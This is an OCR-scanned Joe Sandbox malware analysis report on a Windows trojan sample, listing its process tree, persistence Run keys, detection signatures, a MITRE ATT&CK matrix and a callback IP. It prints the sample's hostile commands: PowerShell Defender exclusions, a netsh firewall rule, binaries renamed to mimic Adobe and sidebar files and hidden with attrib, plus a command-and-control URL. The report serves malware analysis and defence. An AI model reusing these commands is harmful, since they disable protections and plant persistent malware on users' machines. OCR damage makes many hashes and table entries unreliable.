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Windows Analysis Report 5641e24e22ccd259f18585ed2...
Overview

General Information Detection Classification

Sample 5641e24e22ccd259f18585
Name: ed2cbbafébe3b39a04b3c7 Multi AV Scanner detection for subm...
e.exe

Antivirus detection for URL or domain
Analysis ID: 553368

MD5: 8fb77edbae0c40e. F MALICIOUS 1

Sigma detected: Copying Sensitive ...

. Creates an autostart registry key po...
SHAL: 0d1580519970aa.. OISV KEY P

SHA256: 5641e24e22ccd?.. Creates multiple autestart registry ke...
Tags: Sigma detected: Suspicious Script E...

Uses netsh te modify the Windews n...

o B 4t &

Most interesting Screenshot: Uses cmd line tools excessively to a...

Modifies the hosts file

@
«Q
>
2
c
=
@
]

.}

L] Uses known network protocols on no...
3 Score: 100 P

E] Range: 0-100 Sigma detected: CobaltStrike Proce...
. Whitelisted: false Sigma detected: Powershell Defende...
Confidence: 100%

Process Tree

= System is wl0x64

o [ 5641e24e22ccd259f18585ed2chbaf6be3b39a04b3c7e.exe (PID: 4356 cmdline: "C:\Users\user\Desktop\5641e24e22ccd259f18585ed2chbafébe3h39a04b3c7e.exe” MD5:
8FB77EDBAEOC40E1E19D82A406B7615A)
. cmd.exe (PID: 6516 cmdline: cmd /C "powershell -Command Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local\Temp" MD5:
AE2ACFAF8A396486AB4268C94ABA245F)
. conhost.exe (PID: 6732 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
. conhost.exe (PID: 1312 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
o E¥ powershell.exe (PID: 3200 cmdline: powershell -Command Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local\Temp MD5:
95000560239032BC68B4C2FDFCDEF913)
o E¥ powershell.exe (PID: 1068 cmdline: powershell -Command Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local\Temp MD5:
95000560239032BC68B4C2FDFCDEF913)
. cmd.exe (PID: 7072 cmdline: cmd /Q /C move /Y C:\Users\user\Desktop\5641e24e22ccd259f18585ed2chbaf6be3b39a04b3c7e.exe C:\Windows\acrotray.exe MD5:
4E2ACF4F8A396486AB4268C94A6A245F)
. conhost.exe (PID: 3696 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
. conhost.exe (PID: 6068 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
. Qﬂ WMIC.exe (PID: 3336 cmdline: wmic path win32_VideoController get name MD5: EC80E603E0090B3AC3C1234C2BA43A0F)
cmd.exe (PID: 3180 cmdline: cmd /C whoami MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
. conhost.exe (PID: 5536 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e [ whoami.exe (PID: 2132 cmdline: whoami MD5: AA18BE1AD24DE09417C1A7459F5C1701)
. cmd.exe (PID: 5556 cmdline: cmd /C "netsh advfirewall firewall add rule name=\"acrotray\" dir=in action=allow program=\"C:\Users\user\Desktop\5641e24e22ccd259
f18585ed2cbbaf6be3b39a04b3c7e.exe\" enable=yes" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
. conhost.exe (PID: 4828 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e [ netsh.exe (PID: 2056 cmdline: netsh advfirewall firewall add rule name=\"acrotray\" dir=in action=allow program=\"C:\Users\user\Desktop\5641e24e22ccd259f18585ed
2chbaf6be3b39a04b3c7e.exe\" enable=yes MD5: 98CC37BBF363A38834253E22C80A8F32)
o @ cmd.exe (PID: 5792 cmdline: cmd /C whoami MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
B conhost.exe (PID: 6000 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e [ whoami.exe (PID: 5268 cmdline: whoami MD5: AA18BE1AD24DE09417C1A7459F5C1701)
. cmd.exe (PID: 6312 cmdline: cmd /Q /C move /Y C:\Windows\acrotray.exe C:\Users\user\AppData\Roaming\Microsoft\AdobeARM.exe MD5:
AE2ACFAF8A396486AB4268C94A6A245F)
g conhost.exe (PID: 4484 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
. cmd.exe (PID: 2328 cmdline: cmd /C "powershell -Command Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local\Temp" MD5:
AE2ACFAF8A396486AB4268C94A6A245F)
. conhost.exe (PID: 6240 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
o B¥ powershell.exe (PID: 5572 cmdline: powershell -Command Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local\Temp MD5:
95000560239032BC68B4C2FDFCDEF913)
cmd.exe (PID: 6068 cmdline: cmd /C whoami MD5: 4E2ACFAF8A396486AB4268C94A6A245F)
. conhost.exe (PID: 5616 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e [ whoami.exe (PID: 5580 cmdline: whoami MD5: AA18BE1AD24DE09417C1A7459F5C1701)
. cmd.exe (PID: 1904 cmdline: cmd /Q /C reg add "HKCU\Software\Mystic Entertainment" /f MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
. conhost.exe (PID: 6488 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e [ reg.exe (PID: 6636 cmdline: reg add "HKCU\Software\Mystic Entertainment" /f MD5: E3DACFOB31841FA02064B4457D44B357)
. conhost.exe (PID: 4348 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

.

ey
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. jﬂ WMIC.exe (PID: 2828 cmdline: wmic cpu get name MD5: EC80E603E0090B3AC3C1234C2BA43A0F)

cmd.exe (PID: 5544 cmdline: cmd /C whoami MD5: 4E2ACFAF8A396486AB4268C94A6A245F)

conhost.exe (PID: 3732 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

whoami.exe (PID: 3200 cmdline: whoami MD5: AA18BE1AD24DE09417C1A7459F5C1701)

cmd.exe (PID: 6300 cmdline: cmd /C "attrib +S +H C:\Users\user\AppData\Roaming\Microsoft\AdobeARM.exe" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
conhost.exe (PID: 4432 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

o [m attrib.exe (PID: 6780 cmdline: attrib +S +H C:\Users\user\AppData\Roaming\Microsoft\AdobeARM.exe MD5: FDC601145CD289C6FBC96D3F805F3CD7)
cmd.exe (PID: 5848 cmdline: cmd /C "powershell -Command Add-MpPreference -ExclusionPath C:\Users\user\AppData\Roaming\Microsoft" MD5:

o E¥ powershell.exe (PID: 1068 cmdline: powershell -Command Add-MpPreference -ExclusionPath C:\Users\user\AppData\Roaming\Microsoft MD5:

95000560239032BC68B4AC2FDFCDEF913)
cmd.exe (PID: 6636 cmdline: cmd /C "wmic cpu get name" MD5: 4E2ACFAF8A396486AB4268C94A6A245F)

cmd.exe (PID: 6868 cmdline: cmd /C "wmic path win32_VideoController get name" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

B conhost.exe (PID: 5624 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

. jﬂ WMIC.exe (PID: 4488 cmdline: wmic path win32_VideoController get name MD5: EC80E603E0090B3AC3C1234C2BA43A0F)

cmd.exe (PID: 6628 cmdline: cmd /C ver MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

. conhost.exe (PID: 6196 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
cmd.exe (PID: 3696 cmdline: cmd /C "wmic path win32_VideoController get name" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
cmd.exe (PID: 3076 cmdline: cmd /C whoami MD5: 4E2ACFAF8A396486AB4268C94A6A245F)

B conhost.exe (PID: 3180 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

e B whoami.exe (PID: 5684 cmdline: whoami MD5: AA18BE1AD24DE09417C1A7459F5C1701)

cmd.exe (PID: 7080 cmdline: cmd /C whoami MD5: 4E2ACFAF8A396486AB4268C94A6A245F)

. conhost.exe (PID: 3752 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

e (B whoami.exe (PID: 5792 cmdline: whoami MD5: AA18BE1AD24DE09417C1A7459F5C1701)

cmd.exe (PID: 3312 cmdline: cmd /C "wmic cpu get name" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

. conhost.exe (PID: 5568 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
cmd.exe (PID: 4896 cmdline: cmd /C “ipconfig //flushdns” MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6116 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

e [ ipconfig.exe (PID: 924 cmdline: ipconfig //flushdns MD5: C7FAFF418EF7AD7ABDA10ASBCF9B53EB)

. conhost.exe (PID: 5624 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

e [M1 whoami.exe (PID: 5872 cmdline: whoami MD5: AA18BE1AD24DE09417C1A7459F5C1701)

cmd.exe (PID: 4232 cmdline: cmd /Q /C reg add "HKCU\Software\Mystic Entertainment” /f MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 720 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

e [ reg.exe (PID: 1860 cmdline: reg add "HKCU\Software\Mystic Entertainment" /f MD5: E3DACFOB31841FA02064B4457D44B357)

cmd.exe (PID: 3952 cmdline: cmd /C "wmic cpu get name" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
conhost.exe (PID: 7120 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

@l cmd.exe (PID: 6732 cmdline: cmd /C “"powershell -Command Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local\Temp" MD5:

4E2ACF4F8A396486AB4268C94A6A245F)
cmd.exe (PID: 2504 cmdline: cmd /Q /C move /Y C:\Windows\acrotray.exe C:\Users\user\AppData\Roaming\Microsoft\sidebar.exe MD5:

4E2ACF4F8A396486AB4268C94A6A245F)
conhost.exe (PID: 1864 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 924 cmdline: cmd /C whoami MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
cmd.exe (PID: 4632 cmdline: cmd /Q /C reg add "HKCU\Software\Trion Softworks" /f MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
conhost.exe (PID: 5924 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
1 reg.exe (PID: 6152 cmdline: reg add "HKCU\Software\Trion Softworks" /f MD5: E3DACFOB31841FA02064B4457D44B357)
cmd.exe (PID: 5968 cmdline: cmd /C whoami MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
conhost.exe (PID: 6200 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
whoami.exe (PID: 5952 cmdline: whoami MD5: AA18BE1AD24DE09417C1A7459F5C1701)
cmd.exe (PID: 5648 cmdline: cmd /C “attrib +S +H C:\Users\user\AppData\Roaming\Microsoft\sidebar.exe” MD5: 4E2ACFAF8A396486AB4268C94A6A245F)
conhost.exe (PID: 5016 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
1 attrib.exe (PID: 6504 cmdline: attrib +S +H C:\Users\user\AppData\Roaming\Microsoft\sidebar.exe MD5: FDC601145CD289C6FBC96D3F805F3CD7)
cmd.exe (PID: 4360 cmdline: cmd /C "powershell -Command Add-MpPreference -ExclusionPath C:\Users\user\AppData\Roaming\Microsoft" MD5:

4E2ACF4F8A396486AB4268C94A6A245F)
. conhost.exe (PID: 3348 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

o E¥ powershell.exe (PID: 2924 cmdline: powershell -Command Add-MpPreference -ExclusionPath C:\Users\user\AppData\Roaming\Microsoft MD5:

95000560239032BC68B4C2FDFCDEF913)
. cmd.exe (PID: 5116 cmdline: cmd /C "wmic cpu get name" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

. conhost.exe (PID: 6088 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
jﬁ WMIC.exe (PID: 6780 cmdline: wmic cpu get name MD5: EC80E603E0090B3AC3C1234C2BA43A0F)
cmd.exe (PID: 7116 cmdline: cmd /C “"wmic path win32_VideoController get name" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
conhost.exe (PID: 3932 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
. jﬂ WMIC.exe (PID: 5964 cmdline: wmic path win32_VideoController get name MD5: EC80E603E0090B3AC3C1234C2BA43A0F)
cmd.exe (PID: 4624 cmdline: cmd /C ver MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
. conhost.exe (PID: 1904 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
cmd.exe (PID: 7084 cmdline: cmd /C "wmic path win32_VideoController get name" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
. conhost.exe (PID: 2260 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
. jﬁ WMIC.exe (PID: 1760 cmdline: wmic path win32_VideoController get name MD5: EC80E603E0090B3AC3C1234C2BA43A0F)
cmd.exe (PID: 6632 cmdline: cmd /C whoami MD5: 4E2ACFAF8A396486AB4268C94A6A245F)
. conhost.exe (PID: 4632 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e (B whoami.exe (PID: 1244 cmdline: whoami MD5: AA18BE1AD24DE09417C1A7459F5C1701)
cmd.exe (PID: 6788 cmdline: cmd /C whoami MD5: 4E2ACFAF8A396486AB4268C94A6A245F)
conhost.exe (PID: 2248 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e (B whoami.exe (PID: 6036 cmdline: whoami MD5: AA18BE1AD24DE09417C1A7459F5C1701)
cmd.exe (PID: 5756 cmdline: cmd /C "wmic cpu get name" MD5: 4E2ACFAF8A396486AB4268C94A6A245F)

. conhost.exe (PID: 5388 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
. jﬁ WMIC.exe (PID: 4488 cmdline: wmic cpu get name MD5: EC80E603E0090B3AC3C1234C2BA43A0F)
cmd.exe (PID: 7076 cmdline: cmd /C "attrib +S +H C:\Windows\acrotray.exe" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

.
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conhost.exe (PID: 4768 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

conhost.exe (PID: 7080 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
. ﬂ WMIC.exe (PID: 5092 cmdline: wmic path win32_VideoController get name MD5: EC80E603E0090B3AC3C1234C2BA43A0F)

o [m attrib.exe (PID: 5556 cmdline: attrib +S +H C:\Windows\acrotray.exe MD5: FDC601145CD289C6FBC96D3F805F3CD7)

cmd.exe (PID: 2956 cmdline: cmd /C "powershell -Command Add-MpPreference -ExclusionPath C:\Users\user\AppData\Roaming\Microsoft" MD5:

4E2ACF4F8A396486AB4268C94A6A245F)
conhost.exe (PID: 6592 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

o E¥ powershell.exe (PID: 5616 cmdline: powershell -Command Add-MpPreference -ExclusionPath C:\Users\user\AppData\Roaming\Microsoft MD5:

95000560239032BC68B4C2FDFCDEF913)
cmd.exe (PID: 6328 cmdline: cmd /C "wmic path win32_VideoController get name" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6000 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
. ﬂ WMIC.exe (PID: 2328 cmdline: wmic path win32_VideoController get name MD5: EC80E603E0090B3AC3C1234C2BA43A0F)

cmd.exe (PID: 5624 cmdline: cmd /C ver MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 4960 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
cmd.exe (PID: 4768 cmdline: cmd /C "wmic path win32_VideoController get name" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

e [ acrotray.exe (PID: 7120 cmdline: "C:\Windows\acrotray.exe" MD5: 8FB77EDBAEOCA40E1E19D82A406B7615A)

e [ acrotray.exe (PID: 5268 cmdline: "C:\Windows\acrotray.exe" MD5: 8FB77EDBAEOCA40E1E19D82A406B7615A)

= cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

System Summary:

Sigma detected: Hiding Files with Attrib.exe

Sigma detected: Non Interactive PowerShell

Sigma detected: T1086 PowerShell Execution

Jbx Signature Overview

g

Click to jump to signature section

AV Detection: I I

Multi AV Scanner detection for submitted file

Antivirus detection for URL or domain

Networking: I I
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:

Spam, unwanted Advertisements and Ransom Demands:

System Summary:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

HIPS | PFW | Operating System Protection Evasion:

Lowering of HIPS | PFW | Operating System Security Settings:

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Comma
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Cor
Valid Windows Registry Process Masquerading os Security Software Remote Data from  Exfiltration Over Other ~ Non-Sta
Accounts  Management Run Keys /  Injection Credential  Discovery Services Local Network Medium port @
Instrumentation Startup Dumping System
Folder
Default Command and Boot or Registry Run  File and Directory LSASS Process Discovery Remote Data from  Exfiltration Over Non-
Accounts Scripting Logon Keys / Startup Permissions Memory Desktop Removable Bluetooth Applicati
Interpreter Initialization Folder Modification Protocol Media Layer
Scripts Protocol
Domain At (Linux) Logon Script Logon Script  Disable or Modify Security Virtualization/Sandbox SMB/Windows Data from Automated Exfiltration ~ Applicati
Accounts (Windows)  (Windows) Tools Account Evasion Admin Shares Network Layer
Manager Shared Protocol
Drive
Local At (Windows) Logon Script Logon Script  Modify Registry NTDS Application Window  Distributed Input Scheduled Transfer Protocol
Accounts (Mac) (Mac) Discovery Component  Capture Imperso
Object Model
Cloud Cron Network Network Virtualization/Sandbox LSA System Network SSH Keylogging Data Transfer Size Fallback
Accounts Logon Script Logon Script  Evasion Secrets Configuration Limits Channel
Discovery
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Access Execution

Replication  Launchd
Through
Removable

Media

External Scheduled Task
Remote

Services

Drive-by Command and
Compromise Scripting Interpreter

Exploit PowerShell
Public-
Facing

Application

Supply AppleScript
Chain

Compromise

Behavior Graph

Screenshots

Thumbnails

Privilege Credential Lateral Comma
Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Cor
Rc.common Rc.common  Process Cached System Information VNC GUI Input  Exfiltration Over C2 Multiban
Injection Domain Discovery Capture Channel Commui
Credentials
Startup Startup Items Hidden Files and DCSync Network Sniffing Windows Web Portal Exfiltration Over Commol
Items Directories Remote Capture Alternative Protocol Used Pc
Management
Scheduled  Scheduled Obfuscated Files or Proc Network Service Shared Credential Exfiltration Over Applicati
Task/Job Task/Job Information Filesystem Scanning Webroot API Symmetric Encrypted Layer Pr
Hooking Non-C2 Protocol
At (Linux) At (Linux) Software Packing letc/passwd System Network Software Data Exfiltration Over Web Prc
and Connections Deployment  Staged Asymmetric Encrypted
letc/shadow Discovery Tools Non-C2 Protocol
At At (Windows) File Deletion Network Process Discovery Taint Shared Local Data Exfiltration Over File Trar
(Windows) Sniffing Content Staging Unencrypted/Obfuscated Protocol
Non-C2 Protocol
Legend:
I:I Process
S = [ signature
o \ I:' Created File
- e e - W ovseo
Fiy's Is Dropped

@

Y
+
"en

Y

Is Windows Process

Number of created Registry Values

Number of created Files

) wega. Visual Basic
ERZIC
= 711 Delphi
Java
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.Net C# or VB.NET

C, C++ or other language

oo -
Is malicious
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e
@
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This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Windows cannot find 'C:\Users\hardz\AppData\Roaming\Microsoft\sidebar.exe’. Make sure
you typed the name correctly, and then try again.

GIGIYTFFYT EFOVF!

LE-N:

PIUYI

= 0 Type here to search 0

Turn on Windows Firewall

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link
5641e24e22ccd259f18585ed2chbbaf6be3b39a04b3c7e.exe 21% Virustotal Browse
5641e24e22ccd259f18585ed2cbbaf6be3b39a04b3c7e.exe 40% ReversingLabs Win64.Trojan.Fsysna

Dropped Files

No Antivirus matches

Unpacked PE Files
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https://www.virustotal.com/gui/file/5641e24e22ccd259f18585ed2cbbaf6be3b39a04b3c7e170063a684e21bcf078/detection/f-5641e24e22ccd259f18585ed2cbbaf6be3b39a04b3c7e170063a684e21bcf078-1642011740

No Antivirus matches

Domains

No Antivirus matches

URLs
Source Detection Scanner Label Link
hitp://185.112.83.96:20000/callback 2% Virustotal Browse

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

Name Malicious Antivirus Detection Reputation

URLs from Memory and Binaries

Contacted IPs

Public

P Domain Country Flag ASN ASN Name Malicious

185.112.83.96 unknown Russian Federation - 50113 SUPERSERVERSDATACE false
NTERRU

General Information

Joe Sandbox Version: 34.0.0 Boulder Opal

Analysis ID: 553368

Start date: 14.01.2022

Start time: 19:10:32

Joe Sandbox Product: CloudBasic

Overall analysis duration: Oh 12m 7s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: 5641e24e22ccd259f18585ed2chbaf6be3b39a04b3c7e.exe

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211

Number of analysed new started processes 130

analysed:

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: e HCA enabled

e EGA enabled
e HDC enabled
e AMSI enabled

Analysis Mode: default
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https://www.virustotal.com/gui/url/ef6d6267313b1b2330564e323031c47f498b3b025590d07454c2e56b091ff43f/detection/u-ef6d6267313b1b2330564e323031c47f498b3b025590d07454c2e56b091ff43f-1642084332
https://www.virustotal.com/gui/url/ef6d6267313b1b2330564e323031c47f498b3b025590d07454c2e56b091ff43f/detection/u-ef6d6267313b1b2330564e323031c47f498b3b025590d07454c2e56b091ff43f-1642084332

Analysis stop reason:
Detection:
Classification:

EGA Information:

HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

Time

19:11:34
19:11:37
19:11:38
19:11:47
19:11:56

19:12:05
19:12:19

19:12:27

Type

API Interceptor
API Interceptor

Autostart
Autostart

Autostart

Autostart

Autostart

Autostart

Timeout

MAL
mal100.troj.adwa.evad.winEXE@232/30@0/1
Failed

e Successful, ratio: 95.7% (good quality ratio 91.5%)
e Quality average: 63.4%
e Quality standard deviation: 36.6%

Failed

e Adjust boot time
e Enable AMSI
e Found application associated with file extension: .exe

Show All

Description

Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run acrotray C:\Windows\acrotray.exe

225x Sleep call for process: powershell.exe modified

9x Sleep call for process: WMIC.exe modified

Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run acrotray C:\Windows\acrotray.exe

Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run sidebar C:\Users\user\AppData\Roaming\Micr

osoft\sidebar.exe

Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run AdobeARM C:\Users\user\AppData\R

oaming\Microsoft\AdobeARM.exe

Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run sidebar C:\Users\user\AppData\Roaming\Micros

oft\sidebar.exe

Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run AdobeARM C:\Users\user\AppData\Roaming\Micro

soft\AdobeARM.exe

Joe Sandbox View | Context

IPs

No context
Domains

No context

ASN

No context

JA3 Fingerprints
No context
Dropped Files

No context

Created / dropped Files

C:\Users\user\AppDatal\Local\Microsoft\Windows\PowerShell\StartupProfileData-Noninteractive

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: data
Copyright Joe Security LLC 2022
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C:\Users\user\AppDatal\Local\Microsoft\Windows\PowerShell\StartupProfileData-Noninteractive
Category: modified

Size (bytes): 64

Entropy (8bit):  0.34726597513537405

Encrypted: false
SSDEEP: 3:NIIENI
MDS5: 446DD1CF97EABA21CF14D03AEBC79F27
SHAL: 36E4CC7367E0C7B40F4ABACE272941EA46373799
SHA-256: A7DE5177C68A64BD48B36D49E2853799F4EBCFABE4761F7CC472F333DC5F65CF
SHA-512: ABD754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79ESBAEBO29CAE61261BB77DOE7BECD53A7B0106D6EA4368B4C302464E3D941CF
Malicious: false
Preview:
@ .. B

C:\Users\luser\AppData\Local\Temp\__PSScriptPolicyTest_4fxlezon.lgh.psm1

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:UU

MD5: C4CA4238A0B923820DCC509A6F75849B

SHAL: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

SHA-512: 4DFF4EA340F0A823F15D3F4F01AB62EAEOESDAS579CCB851F8DBIDFE84C58B2B37B89903A740E1EEL172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651!
A

Malicious: false

Preview:
1

C:\Users\luser\AppData\Local\Temp\__PSScriptPolicyTest_4pie02pg.wgf.ps1

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:U:U

MD5: C4CA4238A0B923820DCC509A6F75849B

SHA1L: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01ES52DDB7875B4B

SHA-512: 4ADFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBIDFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7FI9BD058A12A280433ED6FA4651(
A

Malicious: false

Preview:
1

C:\Users\luser\AppData\Local\Temp\__PSScriptPolicyTest_5uqrqs4k.34i.ps1

Process: C:\Windows\System32\WindowsPowerShell\v1l.0\powershell.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:U:U

MD5: C4CA4238A0B923820DCC509A6F75849B

SHAL: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

SHA-512: ADFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBIDFE84C58B2B37B89903A740E1EEL172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651
A

Malicious: false

Preview:
1

C:\Users\user\AppData\Local\Temp\ _PSScriptPolicyTest_ab5jticm.dks.psm1

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
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C:\Users\user\AppData\Local\Temp\ _PSScriptPolicyTest_ab5jticm.dks.psm1

File Type: very short file (no magic)
Category: dropped
Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:UU

MDS5: C4CA4238A0B923820DCC509A6F75849B

SHA1L: 356A192B7913B04C54574D18C28D46E6395428AB

